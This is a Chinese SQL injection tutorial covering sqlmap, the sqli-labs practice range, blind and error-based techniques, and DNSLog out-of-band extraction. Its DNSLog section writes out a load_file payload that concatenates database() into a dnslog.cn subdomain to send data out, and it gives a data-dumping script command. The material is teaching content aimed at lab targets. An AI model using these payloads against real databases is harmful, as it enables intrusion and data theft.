Sql注入基础

news/2024/9/28 19:21:05

1. Sql 注入基础

1.1 SQL 注入的发生

image-20240619090749843

1.2 如何获取数据库信息

  • show 命令
  • select +函数
  • 系统库
    • image-20240619090917895

1.3 参数会如何处理?

image-20240619090954815

1.4 Sql 注入的完整流程

  1. 判断是否可以注入
  2. 获得数据库名
  3. 获得表名
  4. 获取列名
  5. 获得数据

2. SQL 注入自动化工具

2.1 sqlmap

image-20240619091158161

2.2 sqlmap 参数详解

sqlmap -hh

基本用法:

sqlmap.py -u "localhost/school/url.php?id=1"

3. SQL 注入靶场

  • 官方代码不支持 PHP 7

https://github.com/Audi-1/sqli-labs

  • 支持 php 7 的代码

https://github.com/goldroad/sqli_labs_sqli-version

4. 注入类型

image-20240619091222908

4.1 布尔盲注

适用场景:没有数据回显,条件正确有结果,错误没结果

利用方式:构造判断条件( and ),逐个猜测(盲猜)

布尔盲注相关 SQL 语法

  • 截取字符

SELECT MID('abcdefghijklm' ,5, 5);

SELECT substr('abcdefghijklm' ,5, 5);

SELECT left('abcdefghijklm' ,5);

  • 转成ASCII码

SELECT ORD('a');

SELECT ASCII('a');

4.2 基于时间的盲注

适用场景:没有数据回显,条件正确与否结果一样

利用方式:构造判断条件( and ),添加 sleep,逐个猜测(盲猜)

时间盲注相关SQL语法

  • 截取长度

select length(database())=8;

  • 判断,赋值

select if((1=1),1,0);

  • 睡眠 N 秒

select sleep(1);

  • 如果数据库名字长度为 8,则 sleep 1 秒,否则返回 0

select sleep(if((select length(database())=8),1,0));

  • 等价于

select if(length(database())=8,sleep(1),0)

4.3 基于报错的注入

适用场景:没有数据回显,条件正确与否结果一样,sleep 没区别,但是错误信息会打印出来

利用方式:利用语法错误,把 value 在前端输出

5. DNSLo g注入

image-20240619091839201

5.1 DNSLog 平台

  1. Dnslog

http://www.dnslog.cn/

image-20240619091920040

  1. CEYE平台

http://ceye.io/

image-20240619092714268

UNC

Universal Naming Convention 通用命名规则

image-20240619114246548

5.2 MySQL 读写函数

secure_file_priv 参数

image-20240619092112214

select LOAD_FILE('E:\\in.txt')

  1. 只能访问本机的文件
  2. 文件需要有读取权限
  3. 字节数小于max_allowed_packet

否则返回NULL

5.3 DNSLog注入流程

  1. 把select LOAD_FILE()注入到数据库,访问文件

  2. UNC构建DNS服务器地址,假装访问文件,产生DNSLog

​ select load_file('////aaa.yourid.dnslog.cn/wuya');

  1. 把子域名替换成函数或者查询SQL

select if((select load_file(concat('////',database(),'.yourid.dnslog.cn/wuya'))),1,0);

5.4 DNSLog注入流程总结(带外查询)

image-20240619092639503

image-20240619092714268

5.5 DNSLog 注入脚本

python 2

dnslogSql.py -u http://localhost/sqli-labs/Less-9/?id=1 -c

dnslogSql.py -u "http://localhost/sqli-labs/Less-9/?id=1' and ({})--+" --dbs

  • --dbs get

    database

  • -D DB

    database name

  • --tables

    get table

  • -T TABLE

    table name

  • --columns

    get column

  • -C COLUMN

    column name

  • --dump

    get data

6. SQL 注入防御

image-20240619092745541

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/45649.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

易基因:MeRIP-seq等揭示RNA m6A去甲基化酶调控植物雄性不育的分子机制 | 科研速递

大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。 水稻是全球重要的农作物,也是单子叶植物模型。在水稻中,N6-甲基腺苷(m6A)mRNA修饰对植物的发育和胁迫响应至关重要。OsFIP37作为m6A甲基化复合体的核心组分,其缺乏会导致雄性不育,强调了m6A在雄性生育中…

硬件开发笔记(二十):AD21导入外部下载的元器件原理图库、封装库和3D模型

前言在硬件设计的过程中,会遇到一些元器件,这些元器件在本地已有的库里面没有,但是可以从外部下载或者获取到对应的。  本篇就是引入TPS54331D电源芯片作为示例,详细描述整个过程。 创建TPS54331D步骤一:下载TPS54331D模型云汉芯城  注意:无需注册登录,搜索到有,就…

2024-06-20 HarmonyOs开发初体验

2024华为开发者大会将于东莞松山湖举行,为此,特写此文。记录自己第一天入坑鸿蒙开发。鸿蒙开发简述:鸿蒙开发是指针对华为开发的一款全场景分布式操作系统的应用、服务和功能的开发工作,该操作系统名为鸿蒙,英文名为HarmonyOs。 官网地址:https://hmxt.org/ 开发工具下载…

[笔记]Splay树

前置知识:树的左旋、右旋。 Splay树是一种平衡树。能够做到每个操作均摊\(O(\log N)\)。 前言 与上文AVL树不同之处在于,AVL树在任何操作结束后,都能保证每个节点的左右子树高度相差不超过\(1\)。相应地,每个操作都是严格的\(O(\log N)\)。而Splay树并没有对“平衡”的确切…

可以免费领取tokens的大模型服务

本文更新时间:2024年6月20日 豆包大模型 "亲爱的客户,模型提供方将在5月15日至8月30日期间,为您提供一次独特的机会,即高达5亿tokens的免费权益。这是我们对您长期支持的感谢,也是对未来合作的期待。" 在8月30日之前可以领取5亿tokensDeepSeek | 深度求索 注册获…

2024欧洲杯足球分析软件推荐

前言在欧洲杯的热潮中,德国队以5比1的辉煌战绩点燃了赛事激情。对于广大足球迷和投注者来说,这不仅是一场视觉盛宴,更是一次智慧与运气的较量。在纷繁复杂的预测信息面前,你是否也曾感到迷茫?是否也曾因为媒体的喧嚣而失去了自己的判断?今天,笔者将分享一款AI智能足球分…

RPA,一个可以帮助到各行各业提效的工具

什么是RPA? RPA,即机器人流程自动化,是一种通过模拟人类在计算机上的操作,实现重复性、繁琐任务自动化的软件解决方案。RPA技术可以模拟人类用户的操作,如点击鼠标、输入数据、读取和理解屏幕信息等,以自动执行各种业务流程,它结合了API和用户界面(UI)互动,整合并执行企业…

使用深度强化学习预测股票:DQN 、Double DQN和Dueling Double DQN对比和代码示例

深度强化学习可以将深度学习与强化学习相结合:深度学习擅长从原始数据中学习复杂的表示,强化学习则使代理能够通过反复试验在给定环境中学习最佳动作。通过DRL,研究人员和投资者可以开发能够分析历史数据的模型,理解复杂的市场动态,并对股票购买、销售或持有做出明智的决策…